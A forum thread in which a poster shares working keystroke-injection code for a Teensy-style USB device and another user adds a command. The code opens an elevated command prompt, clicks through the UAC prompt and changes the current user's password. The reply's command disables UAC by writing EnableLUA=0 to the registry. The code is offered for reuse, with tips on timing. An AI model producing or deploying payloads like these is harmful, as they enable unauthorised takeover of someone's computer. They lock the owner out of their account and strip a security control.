Jump to content

Recommended Posts

Posted

Ok it is a bit basic I know but this is what i came up with. I have started cmd form the start menu so that it can be run as admin. i searches for cmd then sends ctrl+shift+enter to run as admin. after that it sends left and enter to accept the UAC Box. after this i changes the password using the net user command. it works :D bit slow need to sort out the timings

also if someone know how to run cmd as admin for a run box could you please tell me

void setup() {
  delay(7000);
  cmd();
  delay(4000);
  uac();
  delay(1000);
  Keyboard.print("net user %username% *");
  enter();
  delay(100);
  Keyboard.print("lamepassword");
  enter();
  delay(100);
  Keyboard.print("lamepassword");
  enter();
  delay(100);
  Keyboard.print("exit");
  enter();
} 

void loop() {
    digitalWrite(PIN_D6, LOW);   // LED on
    delay(random(1000));                  // Slow blink
    digitalWrite(PIN_D6, HIGH);  // LED off
    delay(random(1000));
}
void cmd(){
  Keyboard.set_modifier(MODIFIERKEY_GUI);
  Keyboard.send_now();
  Keyboard.set_modifier(0);
  Keyboard.send_now();
  Keyboard.print("cmd");
  delay(700);
  Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT);
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(100);
}
void uac(){
  Keyboard.set_key1(KEY_LEFT);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
  enter();
}
void enter(){
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
}

Posted

CommandAtRunPrompt("C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f");
uac();

When UAC is disabled, cmd will run as admin. At least on my pc.

  • 4 weeks later...
Posted
CommandAtRunPrompt("C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f");
uac();

When UAC is disabled, cmd will run as admin. At least on my pc.

To do this you have to be running cmd.exe as Administrator... else you'll get "Error: access denied"

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...